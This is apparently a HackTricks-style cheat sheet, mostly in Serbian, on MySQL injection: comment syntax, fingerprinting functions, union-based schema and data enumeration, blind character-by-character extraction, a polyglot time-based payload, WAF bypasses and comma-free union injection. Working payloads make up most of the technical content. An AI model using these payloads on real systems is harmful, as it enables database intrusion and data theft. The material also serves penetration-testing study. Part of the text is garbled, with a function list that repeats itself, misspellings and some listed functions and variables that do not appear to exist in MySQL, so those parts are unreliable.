MySQL injection

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

​​RootedCON je najrelevantniji kibernetički događaj u Španiji i jedan od najvažnijih u Evropi. Sa misijom promovisanja tehničkog znanja, ovaj kongres je ključno mesto susreta tehnoloških i kibernetičkih profesionalaca u svakoj disciplini.

Komentari

-- MYSQL Comment
# MYSQL Comment
/* MYSQL Comment */
/*! MYSQL Special SQL */
/*!32302 10*/ Comment for MySQL version 3.23.02

Interesantne funkcije

Potvrda Mysql-a:

concat('a','b')
database()
version()
user()
system_user()
@@version
@@datadir
rand()
floor(2.9)
length(1)
count(1)

Korisne funkcije

The following functions can be useful when performing MySQL injection:

Sledeće funkcije mogu biti korisne prilikom izvođenja MySQL ubacivanja:

  • version(): Returns the version of the MySQL server.

  • database(): Returns the name of the current database.

  • user(): Returns the username used to connect to the MySQL server.

  • current_user(): Returns the current user.

  • schema(): Returns the name of the current schema.

  • @@hostname: Returns the hostname of the MySQL server.

  • @@datadir: Returns the data directory of the MySQL server.

  • @@basedir: Returns the base directory of the MySQL server.

  • @@version_compile_os: Returns the operating system on which the MySQL server was compiled.

  • @@version: Returns the version and version comment of the MySQL server.

  • @@global.version_compile_os: Returns the operating system on which the MySQL server is running.

  • @@global.version: Returns the version and version comment of the MySQL server.

  • @@global.plugin_dir: Returns the directory where plugins are installed.

  • @@global.datadir: Returns the global data directory.

  • @@global.basedir: Returns the global base directory.

  • @@global.character_set_filesystem: Returns the character set used for file names on the server's file system.

  • @@global.character_set_client: Returns the character set used by the client.

  • @@global.character_set_connection: Returns the character set used for the connection.

  • @@global.character_set_results: Returns the character set used for the result.

  • @@global.collation_connection: Returns the collation used for the connection.

  • @@global.collation_server: Returns the collation used by the server.

  • @@global.init_connect: Returns the value of the init_connect system variable.

  • @@global.innodb_version: Returns the version of the InnoDB storage engine.

  • @@global.max_allowed_packet: Returns the value of the max_allowed_packet system variable.

  • @@global.sql_mode: Returns the value of the sql_mode system variable.

  • @@global.time_zone: Returns the value of the time_zone system variable.

  • @@global.tx_isolation: Returns the value of the tx_isolation system variable.

  • @@global.version_comment: Returns the version comment of the MySQL server.

  • @@global.wait_timeout: Returns the value of the wait_timeout system variable.

  • @@global.have_ssl: Returns YES if the server supports SSL, NO otherwise.

  • @@global.have_compress: Returns YES if the server supports compression, NO otherwise.

  • @@global.have_crypt: Returns YES if the server supports encryption, NO otherwise.

  • @@global.have_dynamic_loading: Returns YES if the server supports dynamic loading, NO otherwise.

  • @@global.have_geometry: Returns YES if the server supports spatial data types, NO otherwise.

  • @@global.have_innodb: Returns YES if the server supports the InnoDB storage engine, NO otherwise.

  • @@global.have_ndbcluster: Returns YES if the server supports the NDB storage engine, NO otherwise.

  • @@global.have_openssl: Returns YES if the server supports OpenSSL, NO otherwise.

  • @@global.have_partitioning: Returns YES if the server supports partitioning, NO otherwise.

  • @@global.have_profiling: Returns YES if the server supports profiling, NO otherwise.

  • @@global.have_query_cache: Returns YES if the server supports the query cache, NO otherwise.

  • @@global.have_rtree_keys: Returns YES if the server supports R-tree indexes, NO otherwise.

  • @@global.have_ssl: Returns YES if the server supports SSL, NO otherwise.

  • @@global.have_symlink: Returns YES if the server supports symbolic links, NO otherwise.

  • @@global.have_system_time_zone: Returns YES if the server has a system time zone, NO otherwise.

  • @@global.have_timezone_support: Returns YES if the server supports time zones, NO otherwise.

  • @@global.have_udf: Returns YES if the server supports user-defined functions, NO otherwise.

  • @@global.have_utf8mb4: Returns YES if the server supports the utf8mb4 character set, NO otherwise.

  • @@global.have_xml: Returns YES if the server supports XML, NO otherwise.

  • @@global.have_zip: Returns YES if the server supports ZIP, NO otherwise.

  • @@global.have_partitioning: Returns YES if the server supports partitioning, NO otherwise.

  • @@global.have_profiling: Returns YES if the server supports profiling, NO otherwise.

  • @@global.have_query_cache: Returns YES if the server supports the query cache, NO otherwise.

  • @@global.have_rtree_keys: Returns YES if the server supports R-tree indexes, NO otherwise.

  • @@global.have_ssl: Returns YES if the server supports SSL, NO otherwise.

  • @@global.have_symlink: Returns YES if the server supports symbolic links, NO otherwise.

  • @@global.have_system_time_zone: Returns YES if the server has a system time zone, NO otherwise.

  • @@global.have_timezone_support: Returns YES if the server supports time zones, NO otherwise.

  • @@global.have_udf: Returns YES if the server supports user-defined functions, NO otherwise.

  • @@global.have_utf8mb4: Returns YES if the server supports the utf8mb4 character set, NO otherwise.

  • @@global.have_xml: Returns YES if the server supports XML, NO otherwise.

  • @@global.have_zip: Returns YES if the server supports ZIP, NO otherwise.

These functions can provide valuable information about the MySQL server, which can be useful during a penetration test or security assessment.

SELECT hex(database())
SELECT conv(hex(database()),16,10) # Hexadecimal -> Decimal
SELECT DECODE(ENCODE('cleartext', 'PWD'), 'PWD')# Encode() & decpde() returns only numbers
SELECT uncompress(compress(database())) #Compress & uncompress() returns only numbers
SELECT replace(database(),"r","R")
SELECT substr(database(),1,1)='r'
SELECT substring(database(),1,1)=0x72
SELECT ascii(substring(database(),1,1))=114
SELECT database()=char(114,101,120,116,101,115,116,101,114)
SELECT group_concat(<COLUMN>) FROM <TABLE>
SELECT group_concat(if(strcmp(table_schema,database()),table_name,null))
SELECT group_concat(CASE(table_schema)When(database())Then(table_name)END)
strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep()

Sve vrste ubrizgavanja

SQL ubrizgavanje u MySQL

SQL ubrizgavanje je jedna od najčešćih i najopasnijih ranjivosti web aplikacija. Kada se koristi MySQL baza podataka, napadač može iskoristiti ovu ranjivost kako bi izvršio zlonamerni SQL kod na serveru baze podataka.

Ubrizgavanje jednostavnih izjava

Ubrizgavanje jednostavnih izjava je najosnovniji oblik SQL ubrizgavanja. Napadač može umetnuti zlonamerni SQL kod u unos koji se prosleđuje bazi podataka. Na primer, napadač može umetnuti ' OR '1'='1 u polje za unos korisničkog imena i lozinke kako bi zaobišao proveru autentičnosti.

Ubrizgavanje bazirano na vremenu

Ubrizgavanje bazirano na vremenu je tehnika koja se koristi kada se ne dobija direktni rezultat ubrizgavanja. Napadač može iskoristiti ovu tehniku kako bi izvršio zlonamerni SQL kod i dobio informacije o bazi podataka na osnovu vremena potrebnog za izvršavanje SQL upita.

Ubrizgavanje bazirano na greškama

Ubrizgavanje bazirano na greškama je tehnika koja se koristi kada se dobija greška prilikom izvršavanja SQL upita. Napadač može iskoristiti ovu grešku kako bi dobio informacije o bazi podataka ili izvršio zlonamerni SQL kod.

Ubrizgavanje bazirano na uniji

Ubrizgavanje bazirano na uniji je tehnika koja se koristi kada se koristi SQL upit koji koristi operaciju unije. Napadač može iskoristiti ovu tehniku kako bi dobio informacije o bazi podataka iz drugih tabela.

Ubrizgavanje bazirano na slepoj ubrizgavanju

Ubrizgavanje bazirano na slepoj ubrizgavanju je tehnika koja se koristi kada se ne dobija direktni rezultat ubrizgavanja i ne dolazi do greške prilikom izvršavanja SQL upita. Napadač može iskoristiti ovu tehniku kako bi dobio informacije o bazi podataka na osnovu uslova koji se ispituju.

Ubrizgavanje bazirano na višestrukim upitima

Ubrizgavanje bazirano na višestrukim upitima je tehnika koja se koristi kada se izvršava više SQL upita odjednom. Napadač može iskoristiti ovu tehniku kako bi izvršio zlonamerni SQL kod i dobio informacije o bazi podataka.

Ubrizgavanje bazirano na funkcijama

Ubrizgavanje bazirano na funkcijama je tehnika koja se koristi kada se koriste SQL funkcije. Napadač može iskoristiti ovu tehniku kako bi izvršio zlonamerni SQL kod i dobio informacije o bazi podataka.

Ubrizgavanje bazirano na izvršavanju sistema

Ubrizgavanje bazirano na izvršavanju sistema je tehnika koja se koristi kada se koristi SQL funkcija koja omogućava izvršavanje sistema. Napadač može iskoristiti ovu tehniku kako bi izvršio zlonamerni kod na serveru baze podataka.

Ubrizgavanje bazirano na izvršavanju datoteka

Ubrizgavanje bazirano na izvršavanju datoteka je tehnika koja se koristi kada se koristi SQL funkcija koja omogućava izvršavanje datoteka. Napadač može iskoristiti ovu tehniku kako bi izvršio zlonamerni kod na serveru baze podataka.

Ubrizgavanje bazirano na izvršavanju operativnog sistema

Ubrizgavanje bazirano na izvršavanju operativnog sistema je tehnika koja se koristi kada se koristi SQL funkcija koja omogućava izvršavanje operativnog sistema. Napadač može iskoristiti ovu tehniku kako bi izvršio zlonamerni kod na serveru baze podataka.

SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/"

sa https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/

Tok

Zapamtite da u "modernim" verzijama MySQL-a možete zameniti "information_schema.tables" sa "mysql.innodb_table_stats" (Ovo može biti korisno za zaobilaženje WAF-ova).

SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables
SELECT column_name FROM information_schema.columns WHERE table_name="<TABLE_NAME>"; #Get name of the columns of the table
SELECT <COLUMN1>,<COLUMN2> FROM <TABLE_NAME>; #Get values
SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges

Samo 1 vrednost

  • group_concat()

  • Limit X,1

Slepo jedan po jedan

  • substr(version(),X,1)='r' ili substring(version(),X,1)=0x70 ili ascii(substr(version(),X,1))=112

  • mid(version(),X,1)='5'

Slepo dodavanje

  • LPAD(version(),1...lenght(version()),'1')='asd'...

  • RPAD(version(),1...lenght(version()),'1')='asd'...

  • SELECT RIGHT(version(),1...lenght(version()))='asd'...

  • SELECT LEFT(version(),1...lenght(version()))='asd'...

  • SELECT INSTR('foobarbar', 'fo...')=1

Otkrivanje broja kolona

Koristeći jednostavno ORDER

order by 1
order by 2
order by 3
...
order by XXX

UniOn SeLect 1
UniOn SeLect 1,2
UniOn SeLect 1,2,3
...

MySQL baziran na Uniji

Opis

MySQL baziran na Uniji je tehnika SQL injekcije koja se koristi za izvlačenje podataka iz baze podataka kroz kombinovanje rezultata više SQL upita. Ova tehnika se koristi kada je ciljna aplikacija podložna SQL injekciji i koristi MySQL bazu podataka.

Postupak

Da biste izvršili MySQL baziran na Uniji, pratite sledeće korake:

  1. Identifikujte tačke injekcije: Pronađite ulazne tačke u ciljnoj aplikaciji gde možete ubaciti SQL kod.

  2. Utvrdite broj kolona: Koristite ORDER BY klauzulu da biste utvrdili broj kolona u rezultatu SQL upita. Povećavajte broj kolona dok ne dobijete grešku ili ispravan rezultat.

  3. Identifikujte tip podataka: Koristite UNION SELECT izraz da biste identifikovali tip podataka u svakoj koloni. Povećavajte broj kolona i pratite greške ili ispravne rezultate kako biste utvrdili tip podataka.

  4. Izvlačenje podataka: Koristite UNION SELECT izraz da biste izvukli podatke iz baze podataka. Možete koristiti funkciju CONCAT() da biste kombinovali podatke iz različitih kolona u jedan rezultat.

Primer

Pretpostavimo da imamo sledeći SQL upit u ciljnoj aplikaciji:

SELECT name, email FROM users WHERE id = '<user_id>'

Da bismo izvršili MySQL baziran na Uniji, možemo koristiti sledeći payload:

' UNION SELECT 1,2 FROM users --

Ovaj payload će izvršiti sledeći SQL upit:

SELECT name, email FROM users WHERE id = '' UNION SELECT 1,2 FROM users --'

Kao rezultat, dobićemo kombinovane rezultate iz prvog upita (SELECT name, email FROM users WHERE id = '') i drugog upita (SELECT 1,2 FROM users).

UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_schema.columns+wHeRe+table_name=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...

SSRF

Ovde možete naučiti različite opcije za zloupotrebu Mysql ubacivanja kako biste dobili SSRF.

Trikovi za zaobilaženje WAF-a

Alternative za information_schema

Zapamtite da u "modernim" verzijama MySQL-a možete zameniti information_schema.tables sa mysql.innodb_table_stats ili sa sys.x$schema_flattened_keys ili sa sys.schema_table_statistics

MySQL ubacivanje bez ZAREZA

Izaberite 2 kolone bez korišćenja zareza (https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma):

-1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1#

Dobijanje vrednosti bez imena kolone

Ako u nekom trenutku znate ime tabele, ali ne znate ime kolona unutar tabele, možete pokušati da pronađete koliko ima kolona izvršavanjem nečega poput:

# When a True is returned, you have found the number of columns
select (select "", "") = (SELECT * from demo limit 1);     # 2columns
select (select "", "", "") < (SELECT * from demo limit 1); # 3columns

Pretpostavljajući da postoje 2 kolone (pri čemu je prva ID, a druga zastava), možete pokušati brutalno probiti sadržaj zastave pokušavajući karakter po karakter:

# When True, you found the correct char and can start ruteforcing the next position
select (select 1, 'flaf') = (SELECT * from demo limit 1);

Više informacija možete pronaći na https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952

Istorija MySQL-a

Možete videti druge izvršavanja unutar MySQL-a čitajući tabelu: sys.x$statement_analysis

Alternative verzije

mysql> select @@innodb_version;
mysql> select @@version;
mysql> select version();

Ostali vodiči za MYSQL ubacivanje

Reference

​​​​RootedCON je najrelevantniji događaj u oblasti sajber bezbednosti u Španiji i jedan od najvažnijih u Evropi. Sa misijom promovisanja tehničkog znanja, ovaj kongres je ključno mesto susreta tehnoloških i sajber bezbednosnih profesionalaca u svakoj disciplini.

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Last updated